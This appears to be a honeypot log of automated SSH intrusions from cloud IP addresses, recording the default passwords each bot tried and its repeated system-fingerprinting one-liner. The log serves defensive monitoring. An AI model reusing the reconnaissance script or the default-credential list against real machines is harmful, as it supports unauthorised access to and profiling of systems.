$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 stein_root_7 (165.22.79.3) β€” Frankfurt am Main, Germany Β· 6 sessions Β· 24 cmds
2026-03-02 03:01 EST Β· as admin/password, root/12345678, root/qwerty
export β†’ uname β†’ cat (repeated export 6x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—6
$ uname -s -v -n -m 2 > /dev/null Γ—6
$ uname -m 2 > /dev/null Γ—6
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—6
🎭 dutch_root_4 (159.223.236.204) β€” Amsterdam, Netherlands Β· 10 sessions Β· 40 cmds
2026-03-02 02:24 EST Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat (repeated export 10x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—10
$ uname -s -v -n -m 2 > /dev/null Γ—10
$ uname -m 2 > /dev/null Γ—10
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—10
🎭 crumpet_root_7 (64.227.47.246) β€” Slough, United Kingdom Β· 14 sessions Β· 56 cmds
2026-03-02 02:22 EST Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 14x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—14
$ uname -s -v -n -m 2 > /dev/null Γ—14
$ uname -m 2 > /dev/null Γ—14
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—14
🎭 spice_root_16 (139.59.93.3) β€” Bengaluru, India Β· 2 sessions Β· 8 cmds
2026-03-02 02:59 EST Β· as root/1234, root/admin
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 spice_root_17 (139.59.75.109) β€” Bengaluru, India Β· 3 sessions Β· 12 cmds
2026-03-02 02:53 EST Β· as admin/password, root/12345678, root/qwerty
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 fog_root_7 (178.62.19.141) β€” Slough, United Kingdom Β· 11 sessions Β· 44 cmds
2026-03-02 02:28 EST Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 11x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—11
$ uname -s -v -n -m 2 > /dev/null Γ—11
$ uname -m 2 > /dev/null Γ—11
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—11
🎭 windmill_root_9 (167.71.14.241) β€” Amsterdam, Netherlands Β· 6 sessions Β· 24 cmds
2026-03-02 02:28 EST Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 6x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—6
$ uname -s -v -n -m 2 > /dev/null Γ—6
$ uname -m 2 > /dev/null Γ—6
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—6
🎭 phantom_root_49 (159.223.92.215) β€” Singapore, Singapore Β· 2 sessions Β· 8 cmds
2026-03-02 02:38 EST Β· as root/1234, root/admin123
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 barbie_root_9 (209.38.89.123) β€” Sydney, Australia Β· 1 session Β· 4 cmds
2026-03-02 02:38 EST Β· as root/admin
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 tulip_root_9 (178.128.246.228) β€” Amsterdam, Netherlands Β· 6 sessions Β· 24 cmds
2026-03-02 02:25 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 6x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—6
$ uname -s -v -n -m 2 > /dev/null Γ—6
$ uname -m 2 > /dev/null Γ—6
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—6
🎭 eagle_root_24 (107.170.69.144) β€” Secaucus, United States Β· 1 session Β· 4 cmds
2026-03-02 02:25 EST Β· as root/admin
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 autobahn_root_17 (142.93.98.198) β€” Frankfurt am Main, Germany Β· 9 sessions Β· 36 cmds
2026-03-02 01:53 EST Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat (repeated export 9x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—9
$ uname -s -v -n -m 2 > /dev/null Γ—9
$ uname -m 2 > /dev/null Γ—9
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—9
🎭 beefeater_root_9 (68.183.45.246) β€” Slough, United Kingdom Β· 7 sessions Β· 28 cmds
2026-03-02 01:46 EST Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 7x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—7
$ uname -s -v -n -m 2 > /dev/null Γ—7
$ uname -m 2 > /dev/null Γ—7
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—7
🎭 tiger_root_11 (143.110.190.57) β€” Bengaluru, India Β· 1 session Β· 4 cmds
2026-03-02 01:54 EST Β· as root/admin
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 eagle_root_25 (137.184.230.126) β€” Santa Clara, United States Β· 8 sessions Β· 32 cmds
2026-03-02 01:22 EST Β· as admin/123456, admin/admin, root/1234
export β†’ uname β†’ cat (repeated export 8x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—8
$ uname -s -v -n -m 2 > /dev/null Γ—8
$ uname -m 2 > /dev/null Γ—8
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—8
🎭 stroopwafel_root_11 (159.65.197.221) β€” Amsterdam, Netherlands Β· 1 session Β· 4 cmds
2026-03-02 01:32 EST Β· as root/admin
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 beefeater_root_10 (161.35.165.171) β€” Slough, United Kingdom Β· 6 sessions Β· 24 cmds
2026-03-02 00:43 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 6x)
